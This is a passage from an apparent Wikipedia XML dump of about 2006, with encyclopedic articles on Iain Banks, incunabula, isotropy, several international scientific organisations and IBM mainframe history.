then the function ||''x''|| = &lt;''x'',&amp;nbsp;''x''&gt;&lt;sup&gt;1/2&lt;/sup&gt; makes sense and satisfies all the properties of norm except that ||''x''|| = 0 does not imply ''x'' = 0. (Such a functional is then called a [[semi-norm]].) We can produce an inner product space by considering the
quotient ''W'' = ''V''/{&amp;nbsp;''x''&amp;nbsp;:&amp;nbsp;||''x''||&amp;nbsp;=&amp;nbsp;0}.  The sesquilinear form &lt;&amp;nbsp;,&amp;nbsp;&gt; factors through ''W''.

This construction is used in numerous contexts.  The [[Gelfand-Naimark-Segal construction]] is a particularly important example of the use of this technique. Another example is the representation of [[semi-definite kernel]]s on arbitrary sets.

==See also==
* [[Outer product]]
* [[Exterior algebra]]
* [[bilinear form]]
* [[dual space]]
* [[dual pair]]
* [[biorthogonal system]]

== References ==
* S. Axler, ''Linear Algebra Done Right'', Springer, 2004
* G. Emch, ''Algebraic Methods in Statistical Mechanics and Quantum Field Theory'', Wiley Interscience,  1972.
* N. Young, ''An Introduction to Hilbert Spaces'', Cambridge University Press, 1988


[[Category:Functional analysis]]
[[Category:Norm]]
[[Category:Bilinear forms]]

[[de:Pr%C3%A4hilbertraum]]
[[es:Espacio prehilbertiano]]
[[fr:Espace préhilbertien]]
[[he:&amp;#1502;&amp;#1512;&amp;#1495;&amp;#1489; &amp;#1502;&amp;#1499;&amp;#1508;&amp;#1500;&amp;#1492; &amp;#1508;&amp;#1504;&amp;#1497;&amp;#1502;&amp;#1497;&amp;#1514;]]
[[nl:Inwendig product]]
[[ja:&amp;#35336;&amp;#37327;&amp;#12505;&amp;#12463;&amp;#12488;&amp;#12523;&amp;#31354;&amp;#38291;]]
[[pl:Przestrze&amp;#324; unitarna]]
[[pt:Produto interno]]
[[zh:&amp;#20869;&amp;#31215;&amp;#31354;&amp;#38388;]]</text>
    </revision>
  </page>
  <page>
    <title>Iain M. Banks</title>
    <id>14857</id>
    <revision>
      <id>15912387</id>
      <timestamp>2002-06-21T09:05:13Z</timestamp>
      <contributor>
        <username>Ant</username>
        <id>2023</id>
      </contributor>
      <comment>*combine with Iain Banks</comment>
      <text xml:space="preserve">#REDIRECT [[Iain Banks]]</text>
    </revision>
  </page>
  <page>
    <title>Iain Banks</title>
    <id>14858</id>
    <revision>
      <id>41639822</id>
      <timestamp>2006-02-28T18:48:21Z</timestamp>
      <contributor>
        <username>Guinnog</username>
        <id>764861</id>
      </contributor>
      <minor />
      <comment>/* Novels as Iain Banks */</comment>
      <text xml:space="preserve">[[Image:Ian M. Banks 2005.JPG|thumb|200px|Iain M. Banks at [[63rd World Science Fiction Convention]] in [[Glasgow]], [[August 2005]]]]
'''Iain Menzies Banks''' (born on [[February 16]], [[1954]] in [[Dunfermline]], [[Fife]]) is a [[Scotland|Scottish]] [[writer]]. As '''Iain M. Banks''' he writes [[science fiction]]; as '''Iain Banks''' he writes [[literary fiction]].

His father was an officer in the [[Admiralty]] and his  mother was once a professional [[ice skating|ice skater]]. Banks studied [[English_studies|English]] and [[Philosophy]] at the [[University of Stirling]]. 

Married in [[1992]], he lives currently in [[North Queensferry]], a town on the north side of the [[Firth of Forth]] near the [[Forth Bridge (railway)|Forth Bridge]] and the [[Forth Road Bridge]].  His next book will be a mainstream one and is due for publication in September 2006.

==Politics==
As with his friend [[Ken MacLeod]] (another Scottish writer of technical and social science fiction) a strong awareness of [[Left-wing politics|left-wing]] history shows in his writings. The argument that an [[economy of abundance]] renders [[anarchism|anarchy]] and [[adhocracy]] viable (or even inevitable) attracts many as an interesting potential experiment, were it ever to become testable. He is known as a supporter of [[Scottish independence]], and has campaigned with the [[Scottish Socialist Party]].

In late 2004 Banks was a prominent member of a group of British politicians and media figures who campaigned to have Prime Minister [[Tony Blair]] impeached following the [[2003 invasion of Iraq|2003 Invasion of Iraq]]. In protest he cut up his [[passport]] and posted it to [[10 Downing Street]]. 

Banks is an Honorary Associate of the [[National Secular Society]].

==Miscellany==
*Banks tends to produce a [[novel]] in around three months, working solidly, then take nine months off. In his leisure time, he has had flying lessons and records his own [[Rock and roll|rock music]].

*Banks tends to alternate writing between [[science fiction]] and [[literary fiction]] novels.

*Many of his [[science fiction]] books are based in the universe of '[[the Culture]]' (a powerful, multi-species civilization living in our galaxy). The [[novella]] ''[[The State of the Art]]'' records the Culture coming into contact with planet Earth (see Bibliography below).

*Following the release of his most recent book, ''[[The Algebraist]]'' in [[2004]] (a non-Culture novel), Banks has stated that he intends to write more Culture novels. However, as he intends to slow the release of such books from one every 12 months to one every 18 months, the next Culture novel cannot be expected until sometime after [[2006]].

*Although Banks generally confines his writing to his own novels, he has written occasional reviews for ''[[The Guardian]]'' newspaper and is a semi-regular music reviewer for [[Marc Riley|Marc Riley's]] Rocket Science radio show on [[BBC 6 Music]].  He has been the subject of ''[[The South Bank Show|South Bank Show]]'' television programme broadcast on [[16 November]] [[1997]], subtitled ''The Strange Worlds of Iain Banks'' which concentrated on his mainstream work. ''The Curse Of Iain Banks'', a play written by Maxton Walker, was performed at the [[Edinburgh Fringe]] in 1999, with Banks contributing as a voice on tape.  He has appeared on the [[BBC]]'s political discussion television programme ''[[Question Time (television)|Question Time]]''.

*Iain Banks occasionally writes letters to the editor of the [[New Scientist]], most recently mocking [[creationism]] in November 2005.[http://www.newscientist.com/article.ns?id=mg18825260.500]

*While a student at Stirling University, Banks appeared as an extra in the final battle scene of the film  ''[[Monty Python and the Holy Grail]]'', which was filmed at the nearby [[Doune Castle]].

*Banks captained a team of writers to victory in a special series of ''[[University Challenge|University Challenge: The Professionals]]'', beating the 'news' team 190-45 in the final.  He also won an edition of ''[[Mastermind|Celebrity Mastermind]]'', taking &quot;Malt whiskies and the distilleries of Scotland&quot; as his specialist subject.  The shows were broadcast, on BBC2 and BBC1 respectively, on two consecutive days ([[January 1]]  and [[2 January]] [[2006]]).

==Bibliography==

===Novels as Iain Banks===

* ''[[The Wasp Factory]]'' ([[1984]])
* ''[[Walking on Glass]]'' ([[1985]]) 
* ''[[The Bridge (novel)|The Bridge]]'' ([[1986]])
* ''[[Espedair Street]]'' ([[1987]]) &amp;ndash; adapted for [[BBC]] radio in [[1998]] (directed by [[David Batchelor]])
* ''[[Canal Dreams]]'' ([[1989]])
* ''[[The Crow Road]]'' ([[1992]]) &amp;ndash; [[The Crow Road (mini-series)|adapted]] for BBC TV in [[1996]] (directed by [[Gavin Millar]])
* ''[[Complicity]]'' ([[1993]]) &amp;ndash; [[Complicity (film)|filmed]] in [[2000]] (directed by [[Gavin Millar]]), retitled ''Retribution'' for its US DVD/video release
* ''[[Whit]]'' ([[1994]])
* ''[[A Song of Stone]]'' ([[1997]])
* ''[[The Business (novel)|The Business]]'' ([[1999]])
* ''[[Dead Air]]'' ([[2002]])

===Novels as Iain M. Banks===

Much of Banks' science fiction deals with a pan-galactic civilisation, [[the Culture]], which he has developed in some detail over the course of six novels and a collection of [[short story|short stories]].

* ''[[Consider Phlebas]]'' ([[1987]])
* ''[[The Player of Games]]'' ([[1988]])
* ''[[Use of Weapons]]'' ([[1991]])
* ''[[Excession]]'' ([[1996]])
* ''[[Inversions]]'' ([[1998]])  (makes covert references to the protagonists being Culture citizens)
* ''[[Look to Windward]]'' ([[2000]])

His other, non-Culture, science fiction novels are:

* ''[[Against a Dark Background]]'' ([[1993]])
* ''[[Feersum Endjinn]]'' ([[1994]])
* ''[[The Algebraist]]'' ([[2004]])

===Short fiction===

Banks writes less short fiction but has published one collection under his Iain M. Banks name:

* ''[[The State of the Art]]'' ([[1989]])

It contains both science fiction and less categorizable works of fiction.  The [[eponym|eponymous]] [[novella]] deals with the Culture, as do two other of the stories contained in this collection.

===Non-fiction===

* ''[[Raw Spirit]]'' ([[2003]]) (a travelogue of Scotland and its [[Scotch whisky|whisky distilleries]])

==Quotes==

&quot;I write because I love it, I enjoy it, I've spent most of my life trying to do it better, and I can make a living from it: beats a [[day job]].&quot; [http://www.contemporarywriters.com/authors/?p=auth12]

== External links ==
* [http://www.iainbanks.net/ Official site]
* [http://www.futurehi.net/phlebas/ Culture Shock]
* [http://banksoniain.netfirms.com The Banksoniain] - Fanzine
* [http://www.iainbanksfaq.f9.co.uk Iain Banks FAQ]
* [http://www.culturelist.org/cdr/ The Culture Data Repository]    
* http://c2.com/cgi/wiki?IainBanks
* {{isfdb name|id=Iain_M._Banks|name=Iain M. Banks}}
* {{contemporary writers|id=12}}
* {{iblist name|id=43|name=Iain Banks}}
* [http://us.imdb.com/name/nm0052169/ Internet Movie Database entry]
* [http://books.guardian.co.uk/authors/author/0,5917,-16,00.html Guardian Books &quot;Author Page&quot;], with profile and links to further articles.
* [http://www.spikemagazine.com/0996bank.php Spike Magazine Interview]
* [http://homepages.compuserve.de/Mostral/interviews/starlog94.htm Interview]
* [http://www.futurehi.net/phlebas/text/cultnote.html ''A Few Notes on the Culture''] - essay by Banks

[[Category:1954 births|Banks, Iain]]
[[Category:Scottish novelists|Banks, Iain]]
[[Category:Scottish science fiction writers|Banks, Iain]]
[[Category:Science fiction writers|Banks, Iain]]
[[Category:British science fiction writers|Banks, Iain]]
[[Category:Natives of Fife|Banks, Iain]]
[[Category:Living people|Banks, Iain]]
[[Category:University of Stirling alumni|Banks, Iain]]

[[de:Iain M. Banks]]
[[es:Iain Banks]]
[[fr:Iain Banks]]
[[gd:Iain Banks]]
[[nl:Iain Banks]]
[[no:Iain Banks]]
[[pl:Iain Banks]]
[[ru:Бэнкс, Йен]]
[[fi:Iain M. Banks]]
[[sv:Iain Banks]]</text>
    </revision>
  </page>
  <page>
    <title>Iain Banks/The Crow Road</title>
    <id>14859</id>
    <revision>
      <id>15912389</id>
      <timestamp>2002-06-21T09:19:01Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[The Crow Road]]
</text>
    </revision>
  </page>
  <page>
    <title>Iain Banks/The Wasp Factory</title>
    <id>14860</id>
    <revision>
      <id>15912390</id>
      <timestamp>2002-06-21T09:17:10Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[The Wasp Factory]]</text>
    </revision>
  </page>
  <page>
    <title>Iain Banks/Espedair Street</title>
    <id>14862</id>
    <revision>
      <id>15912392</id>
      <timestamp>2002-06-21T09:18:35Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Espedair Street]]</text>
    </revision>
  </page>
  <page>
    <title>Incunabulum</title>
    <id>14863</id>
    <revision>
      <id>40364425</id>
      <timestamp>2006-02-20T01:58:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''&quot;Incunabula&quot; redirects here. For the Autechre album, see [[Incunabula (album)]]''

----


[[Image:Incunabulum.JPG|thumb|right|300px|A page from a rare [[Blackletter]] [[Bible]] ([[1497]]) printed in [[Strasbourg]] by [[J.R. Grueninger]]. The coloured chapter [[initial]]s were hand written after the page was printed.]]

An '''incunabulum''' is a [[book]], single sheet, or image that was [[printing|printed]] &amp;mdash; not [[manuscript|handwritten]] &amp;mdash; before the year [[1501]] in [[Europe]]. These are usually very rare and fragile items whose nature can only be verified by experts. The origin of the word is the [[Latin]] ''incunabula'' for &quot;swaddling clothes&quot;, used by extension for the infancy or early stages of something. The first recorded use of ''incunabula'' as a printing term is in a pamphlet by [[Bernard von Mallinckrodt]], ''De ortu et progressu artis typographicae'' (&quot;Of the rise and progress of the typographic art&quot;), published in [[Cologne]] in [[1639]], which includes the phrase ''prima typographicae incunabula'', &quot;the first infancy of printing&quot;.  The term came to denote the printed books themselves from the late [[17th century]]. The plural is '''incunabula''' and the word is sometimes Anglicized to '''incunable'''. A former term is ''fifteener'', referring to the [[15th century]].

There are two types of ''incunabula'': the ''xylographic'' (made from a single carved or sculpted block for each page) and the ''typographic'' (made with movable type on a [[printing press]] in the style of [[Johann Gutenberg]]). Many authors reserve the term ''incunabulum'' for the typographic ones only.

The ''end date'' for identifying a book as an ''incunabulum'' is convenient, but was chosen arbitrarily. It does not reflect any notable developments in the printing process around the year 1500. ''Incunabula'' usually refers to the earliest printed books, completed at a time when some books were still being hand-copied.

The gradual spread of [[printing]] ensured that there was great variety in the texts chosen for printing and the styles in which they appeared. Many early [[typeface]]s were modelled on local forms of writing or derived from the various European forms of [[Gothic alphabet|Gothic]] script, but there were also some derived from documentary scripts (such as most of [[William Caxton|Caxton]]'s types), and, particularly in [[Italy]], types modelled on humanistic hands. These humanistic typefaces are often used today, barely modified, in digital form.

Printers tended to congregate in urban centres where there were [[scholar]]s, [[ecclesiastic]]s, [[lawyers]], [[nobles]] and [[profession]]als who formed their major customer-base. Standard works in [[Latin]] inherited from the medieval tradition formed the bulk of the earliest printing, but as books became cheaper, works in the various [[vernacular]]s (or translations of standard works) began to appear.

Famous ''incunabula'' include the [[Gutenberg Bible]] of [[1455]] and the ''[[Liber Chronicarum]]'' of [[Hartmann Schedel]], printed by [[Anton Koberger]] in [[1493]]. Other well-known ''incunabula'' printers were [[Albrecht Pfister]] of [[Bamberg]], [[Günther Zainer]] of [[Augsburg]], [[Johann Mentelin]] of [[Strasbourg]] and [[William Caxton]] of [[Bruges]] and [[London]]. 

The tally of editions and titles issued before 1500 runs into thousands, and the most authoritative listing is in the German catalogue, the ''[[Gesamtkatalog der Wiegendrucke]]'' which is still being compiled at the [[Staatsbibliothek zu Berlin]]. The [[British Library]] has compiled the [[Incunabula Short-Title Catalogue]] which includes the holdings of most libraries world-wide. Other smaller catalogs were started in the [[19th century]] and are still used as reference points (Hain, Copinger, etc.)

The largest collections, with the approximate numbers of incunabula held, include:
* [[Bayerische Staatsbibliothek]], Munich (18,550)
* [[British Library]] (12,500)
* [[Bibliothèque nationale de France]] (12,000)
* [[Vatican Library]] (8,000)
* [[Oesterreichische Nationalbibliothek]], Vienna (8,000)
* [[Russian National Library]], St Petersburg (7,000)
* [[Stuttgart Landesbibliothek]] (7,000)
* [[Huntington Library]] (5,600)
* [[Library of Congress]] (5,600)
* [[Bodleian Library]] (5,500)
* [[Russian State Library]], Moscow (5,300)
* [[Cambridge University Library]] (4,600)
* [[John Rylands Library]] (4,500)
* [[Staatsbibliothek zu Berlin]] (4,400)
* [[Harvard University]] (3,600)
* [[Yale University]] (Beinecke 3,100, others 425) 
* [[Koninklijke Bibliotheek]] (2,000)
* [[University of Illinois at Urbana-Champaign]] (1,130)

== See also ==
* [[History]]
* [[Library]]
* [[Book collecting]]
* [[Blockbooks]]

==External links==
* [http://www.library.uiuc.edu/rbx/ UIUC Rare Book &amp; Manuscript Library]

Places to buy incunables include:
* [http://www.abebooks.com Advanced Book Exchange]
* [http://www.ilab-lila.com ILAB]
* [http://www.sokol.co.uk Sokol Books-Antiquarian Book Dealers]

[[Category:Books by type]]
[[Category:Incunabulum| ]]

[[da:Inkunabel]]
[[de:Inkunabel]]
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[[es:Incunable]]
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[[he:אינקונבולה]]
[[nl:Incunabel]]
[[ja:インキュナブラ]]
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[[sv:Inkunabel]]</text>
    </revision>
  </page>
  <page>
    <title>Isotropy</title>
    <id>14865</id>
    <revision>
      <id>38652539</id>
      <timestamp>2006-02-07T19:36:32Z</timestamp>
      <contributor>
        <username>QFT</username>
        <id>623714</id>
      </contributor>
      <comment>merge request</comment>
      <text xml:space="preserve">{{merge|rotational invariance}}

'''Isotropy''' (the opposite of [[anisotropy]]) is the property of being independent of direction. [[Wiktionary:Isotropic|Isotropic]] [[radiation]] has the same intensity regardless of the direction of [[measurement]], and an isotropic field exerts the same action regardless of how the test [[particle]] is oriented.

* ''Mathematics'': Isotropy is also a concept in [[mathematics]]. Some [[manifold]]s are isotropic, meaning that the [[geometry]] on the manifold is the same regardless of direction. A similar concept is [[homogeneity]]. A manifold can be homogeneous without being isotropic.

A function &lt;math&gt; f: \R^{n \times n} \rightarrow \R&lt;/math&gt; is also called isotropic if
&lt;math&gt;f( R_1 {\bold x} R_2 )= f({\bold x})&lt;/math&gt; for all &lt;math&gt;{\bold x} \in \R^{n \times n}&lt;/math&gt;
and all &lt;math&gt;R_1, R_2 \in SO(n)&lt;/math&gt;, the [[special orthogonal group]] of dimension ''n''.

* ''Radio broadcasting'': In [[radio]], an [[isotropic antenna]] is an idealized &quot;[[radiator|radiating element]]&quot; used as a [[reference]]; an [[antenna (electronics)|antenna]] that broadcasts power equally (calculated by the [[poynting vector]]) in all directions. In practice, an isotropic antenna cannot exist, as equal radiation in all directions  would be a violation of the [[Helmholtz Wave Equation]]. The gain of an arbitrary antenna is usually reported in [[Decibel]]s relative to an isotropic antenna, and is expressed as dBi or dB(i).

* ''Physiology'': In skeletal muscle cells (a.k.a. [[muscle fibers]]), the term &quot;isotropic&quot; refers to the light bands ([[I bands]]) that contribute to the striated pattern of the cells.

* ''Materials'': In the study of [[mechanical]] properties of materials, &quot;isotropic&quot; means having identical values of a property in all [[crystallographic]] directions.

* ''Optics'': [[Optical isotropy]] is usually seen as equivalent to the fact that the dielectric tensor is a scalar or is reduced to a scalar in case of polydomain materials. The latter is not correct, however, if the domains can not be considered as small compared to the wavelength.

[[Category:Orientation]]

[[ca:Isotropia]]
[[de:Isotropie]]
[[fr:Isotropie]]
[[fi:Isotropia]]
[[it:Isotropia]]
[[ko:등방성]]
[[pl:Izotropia]]
[[ru:Изотропия]]
[[sk:Izotropia]]
[[sv:Isotrop]]


Helmholtz Equation:</text>
    </revision>
  </page>
  <page>
    <title>Instruments</title>
    <id>14866</id>
    <revision>
      <id>15912396</id>
      <timestamp>2002-06-09T10:53:17Z</timestamp>
      <contributor>
        <username>CYD</username>
        <id>45</id>
      </contributor>
      <comment>redirect to instrument per wikipedia naming convention</comment>
      <text xml:space="preserve">#REDIRECT [[Instrument]]</text>
    </revision>
  </page>
  <page>
    <title>International Mathematical Union</title>
    <id>14868</id>
    <revision>
      <id>34229990</id>
      <timestamp>2006-01-07T11:06:51Z</timestamp>
      <contributor>
        <username>Brauliobezerra</username>
        <id>177631</id>
      </contributor>
      <minor />
      <comment>added link of non-governmental organization</comment>
      <text xml:space="preserve">The '''International Mathematical Union''' is an international [[non-governmental organization]] devoted to international cooperation in the field of [[mathematics]]. It is a member of the [[International Council for Science]] (ICSU) and supports the [[International Congress of Mathematicians]]. Its members are national mathematics organizations in 65 countries.

==External links==
*[http://www.mathunion.org/ International Mathematical Union]

[[Category:Mathematical societies]]

[[de:Internationale Mathematische Union]]
[[es:Unión Matemática Internacional]]
[[fr:Union mathématique internationale]]
[[it:International Mathematical Union]]
[[ja:&amp;#22269;&amp;#38555;&amp;#25968;&amp;#23398;&amp;#36899;&amp;#21512;]]
[[ko:국제 수학자 연맹]]
[[pl:Mi&amp;#281;dzynarodowa Unia Matematyczna]]
[[zh:&amp;#22269;&amp;#38469;&amp;#25968;&amp;#23398;&amp;#32852;&amp;#30431;]]</text>
    </revision>
  </page>
  <page>
    <title>International Council for Science</title>
    <id>14869</id>
    <revision>
      <id>40364432</id>
      <timestamp>2006-02-20T01:58:37Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''International Council for Science''' (ICSU), formerly called the '''International Council of Scientific Unions''', was founded in [[1931]] as an international non-governmental organization devoted to international co-operation in the advancement of science. Its members are national scientific bodies, and international scientific unions, including the [[International Mathematical Union]], the [[International Astronomical Union]] and the [[International Union of Pure and Applied Chemistry]].

Its mission is:

: ''To identify and address major issues of importance to science and society, by mobilising the resources and knowledge of the international scientific community; to promote the participation of all scientists, irrespective of race, citizenship, language, political stance or gender in the international scientific endeavour; to facilitate interactions between different scientific disciplines and between scientists from ‘Developing’ and ‘Developed’ countries; to stimulate constructive debate by acting as an authoritative independent voice for international science and scientists.''

ICSU was founded to bring together natural scientists in international scientific endeavour. As of October 2006, it comprises 104 multi-disciplinary National Scientific Members, Associates and Observers (scientific research councils or science academies) and 29 international, single-discipline Scientific Unions. ICSU also has 23 Scientific Associates.

One of the fundamental principles of ICSU is that of the universality of science, which affirms the right and freedom of scientists to associate in international scientific activity without regard to such factors as citizenship, religion, creed, political stance, ethnic origin, race, colour, language, age or sex.

The Council acts as a focus for the exchange of ideas and information and the development of standards. Hundreds of congresses, symposia and other scientific meetings are organized each year around the world, and a wide range of newsletters, handbooks and journals is published. 

The principal source of ICSU's finances is the contributions it receives from its Members. Other sources of income are the framework contracts from [[UNESCO]] and grants and contracts from [[United Nations]] bodies, foundations and agencies, which are used to support the scientific activities of the ICSU Unions and interdisciplinary bodies.

==External links==
[[Image:Logo_icsu2.gif]]
* [http://www.icsu.org/ ICSU website]

[[Category:International nongovernmental organizations]]
[[Category:Scientific organizations]]
[[Category:Learned societies]]

[[de:International Council for Science]]
[[it:International Council for Science]]
[[zh:&amp;#22283;&amp;#38555;&amp;#31185;&amp;#23416;&amp;#29702;&amp;#20107;&amp;#26371;]]</text>
    </revision>
  </page>
  <page>
    <title>International Union of Pure and Applied Chemistry</title>
    <id>14870</id>
    <revision>
      <id>41613978</id>
      <timestamp>2006-02-28T14:54:16Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">[[Image:320px-IUPAC.png|thumb|150px|IUPAC logo]]

The '''International Union of Pure and Applied Chemistry''' ('''IUPAC''') is an international [[non-governmental organization]] devoted to the advancement of [[chemistry]]. It has as its members national chemistry societies. It is most well known as the recognized authority in developing standards for the naming of the chemical elements and their compounds, through its Interdivisional Committee on Nomenclature and Symbols ([[IUPAC nomenclature]]). It is a member of the [[International Council for Science]] (ICSU). 

In addition to nomenclature guidelines, the IUPAC sets standards for international spelling in the event of a dispute; for example, it ruled that [[aluminium]] is preferable to the [[American English|American]] ''aluminum'' and [[sulfur]] rather than the [[British English|British]] ''sulphur''.

Many IUPAC publications are available over the [[Internet]].  For example, the Green Book (&quot;Quantities, Units and Symbols in Physical Chemistry, 2nd edition, 1993&quot;) can be downloaded in its entirety from http://www.iupac.org/publications/books/gbook/green_book_2ed.pdf.  The 2005 version (a work-in-progress) can also be downloaded.

An important IUPAC supplement (&quot;Recommendations for nomenclature and tables in biochemical thermodynamics, 1994&quot;) is available at http://www.chem.qmul.ac.uk/iubmb/thermod/.  

As the introduction to the proposed 3rd edition points out, the failure to use standardized units can result in disastrous consequences.  The loss of NASA's Mars Climate Orbiter was due to the use of [[lbf]]-s rather than [[Newton|N]]-s in the coding of the software files.  IUPAC urges the users of its Green Book &quot;always to define explicitly the terms, the units, and the symbols that they use.&quot;


== See also ==

* [[IUPAC nomenclature]]
* [[Chemical element]] 
* [[Element naming controversy]]
* [[Periodic table group]]
* [[International Chemical Identifier]] (InChI)

== External links ==

*[http://www.iupac.org/ Official website]
*[http://www.acdlabs.com/download/name.html ACD/ChemSKetch] Freeware allowing generation of IUPAC Names (free version is limited to small structures)


{{int-org-stub}}
{{chem-stub}}

[[Category:Chemistry societies]] 
[[Category:Standards organizations]]
[[Category:Chemical nomenclature]]

[[ar:الإتحاد الدولي للكيمياء البحتة والتطبيقية]]
[[bg:IUPAC]]
[[br:Unaniezh Etrevroadel ar Gimiezh Pur hag Arveret]]
[[ca:Unió Internacional de Química Pura i Aplicada]]
[[de:International Union of Pure and Applied Chemistry]]
[[es:IUPAC]]
[[eo:IUPAK]]
[[fr:Union internationale de chimie pure et appliquée]]
[[gl:IUPAC]]
[[it:IUPAC]]
[[hu:IUPAC]]
[[nl:IUPAC]]
[[ja:国際純正・応用化学連合]]
[[pl:Międzynarodowa Unia Chemii Czystej i Stosowanej]]
[[pt:IUPAC]]
[[ru:ИЮПАК]]
[[sk:Medzinárodná únia čistej a aplikovanej chémie]]
[[sl:Mednarodna zveza za čisto in uporabno kemijo]]
[[fi:IUPAC]]
[[sv:IUPAC]]
[[vi:IUPAC]]
[[tr:IUPAC]]
[[zh:國際純粹與應用化學聯合會]]</text>
    </revision>
  </page>
  <page>
    <title>International Hydrographic Organization</title>
    <id>14871</id>
    <revision>
      <id>39789378</id>
      <timestamp>2006-02-15T22:00:59Z</timestamp>
      <contributor>
        <username>Johantheghost</username>
        <id>319913</id>
      </contributor>
      <comment>Added pub ref</comment>
      <text xml:space="preserve">[[ja:&amp;#22269;&amp;#38555;&amp;#27700;&amp;#36335;&amp;#27231;&amp;#38306;]]
[[pl:Mi&amp;#281;dzynarodowa Organizacja Hydrograficzna]]
The '''International Hydrographic Organization''' (IHO) is an intergovernmental [[international organization]] established in [[1921]]. The IHO was the outgrowth of international conferences and congresses held as early as [[1889]]. 

The IHO is composed of its member states (represented by their respective [[hydrographic office]]s) with administration through the International Hydrographic Bureau with headquarters in [[Monaco]]. Direction of the Bureau is through directors elected by member states. The organization's function is to coordinate [[Hydrography]] and hydrographic activities of the member states. The IHO does not itself control significant hydrographic assets.

The organization's goals are stated as &quot;support the safety in navigation and the protection of the marine environment&quot; with support of coordinated and uniform hydrographic products and surveys and by improving techniques of member states for producing those products.

The IHO publishes ''Limits of Oceans and Seas'', which specifies the boundaries between the [[ocean]]s.&lt;ref&gt;[http://ioc.unesco.org/oceanteacher/OceanTeacher2/01_GlobOcToday/03_GeopolOc/s23_1953.pdf ''Limits of Oceans and Seas''].  International Hydrographic Organization Special Publication No. 23, 1953.&lt;/ref&gt;  In [[2000]] they officially defined the boundaries of the [[Southern Ocean]].

==See also==
*[[International Association of Lighthouse Authorities]]

== References ==
&lt;div style=&quot;font-size:85%;&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==External links==
*[http://www.iho.shom.fr/ International Hydrographic Organization] website
[[Category:Hydrography]]</text>
    </revision>
  </page>
  <page>
    <title>IBM mainframe</title>
    <id>14872</id>
    <revision>
      <id>36352423</id>
      <timestamp>2006-01-23T12:59:42Z</timestamp>
      <contributor>
        <username>ArnoldReinhold</username>
        <id>84951</id>
      </contributor>
      <comment>/* History */ more on transition</comment>
      <text xml:space="preserve">An '''IBM mainframe''' is a large, high performance computer made by [[IBM|International Business Machines (IBM)]].  [[Mainframe computers]] traditionally are &quot;expensive,&quot;{{ref|cost}} individually physically large{{ref|size}}, and have high [[transaction processing]] and [[input/output|I/O]] performance, but are not as expensive and high performance{{ref|speed}} as [[supercomputers]].

==History==
From [[1952]] into the late [[1960s]], IBM manufactured and marketed several large computer models, known as the [[IBM 700/7000 series]]. The 700s were based on [[vacuum tube]]s, while the later 7000s used [[transistor]]s. These machines established IBM's dominance in electronic data processing. IBM had two model categories: one (701, 704, 709, 7090, 7040) for engineering and scientific use, and one (702, 705, 7080, 7070, 7010) for commercial or data processing use. IBM initially sold its computers without any software, expecting customers to write their own; and programs were manually initiated, one at a time.  This followed the model IBM had earlier established with their [[unit record equipment]]. Later IBM provided compilers for the newly developed higher-level [[programming language]]s [[Fortran]] and [[Cobol]]. The need to make the most efficient use of these multi-million dollar machines led the the introduction of simple [[operating system]]s, or job monitors. The two categories, scientific and commercial, generally used common peripherals but had completely different [[instruction set]]s, and there were incompatibilities even within each category. As software became more complex and important, the cost of supporting it on so many different designs became burdensome.

All that changed with the announcement of the [[System/360]] (S/360) in April, 1964. The System/360 was a single series of compatible models for both commercial and scientific use. The number &quot;[[360 (number)|360]]&quot; suggested a &quot;360 [[degree (angle)|degree]],&quot; or &quot;all-around&quot; computer system. [[System/360]] incorporated features which had previously been present on only either the commercial line (such as decimal arithmetic and byte addressing) or the technical line (such as [[floating point]] arithmetic).{{ref|alu}} The System/360 was also the first computer in wide use to include dedicated hardware provisions for the use of [[operating system]]s.  Among these were supervisor and application mode programs and instructions, as well as built-in memory protection facilities.{{ref|mem-protect}} The new machine also had a larger [[address space]] than the older mainframes, 24 bits vs. a typical 18 bits. The System/360 later evolved into the [[System/370]], the [[System/390]], the [[zSeries]], and the [[System z9]].

Prior to System/360, IBM also sold computers smaller in scale, though still large and expensive by modern standards. These included:
*[[IBM 650]] (vacuum tube era, decimal architecture, business and scientific)
*[[IBM RAMAC 305]] (vacuum tube era, first computer with disk storage; ''see:'' [[Early IBM disk storage]])
*[[IBM 1400 series]] (business data processing; very successful and many 1400 peripherals were used with the 360s)
*[[IBM 1620]] (decimal architecture, engineering, scientific, and education)

IBM had difficulty getting customers to upgrade from the smaller machines to the mainframes because so much software had to be rewritten. The 7010 was introduced in 1962 as a mainframe-sized 1410.
The smaller models in the System/360 line (e.g. the 360/30) were intended to replace the 1400 series while providing an easier upgrade path to the larger 360s. A desk size machine with a different instruction set, the [[IBM 1130]], was released to address the 1620's niche. It was mostly programmed in Fortran, which was relatively easy to adapt to larger machines when necessary. 

The second generation products were a mainstay of IBM's business and IBM continued to make them for several years after the introduction of the System/360.  (Some [[IBM 7094]]s remained in service into the 1980s.) To smooth the transition from second generation to the new line, IBM used the 360's [[microprogramming]] capability to emulate the more popular older models. Thus 360/30s with this added cost feature could run 1401 programs and the larger 360/65s could run 7094 programs. To run old programs, the 360 had to be halted and restarted in emulation mode. Many customers kept using their old software and one of the features of the later System/370 was the ability to switch to emulation mode and back under operating system control.

==Software==

===Operating systems===
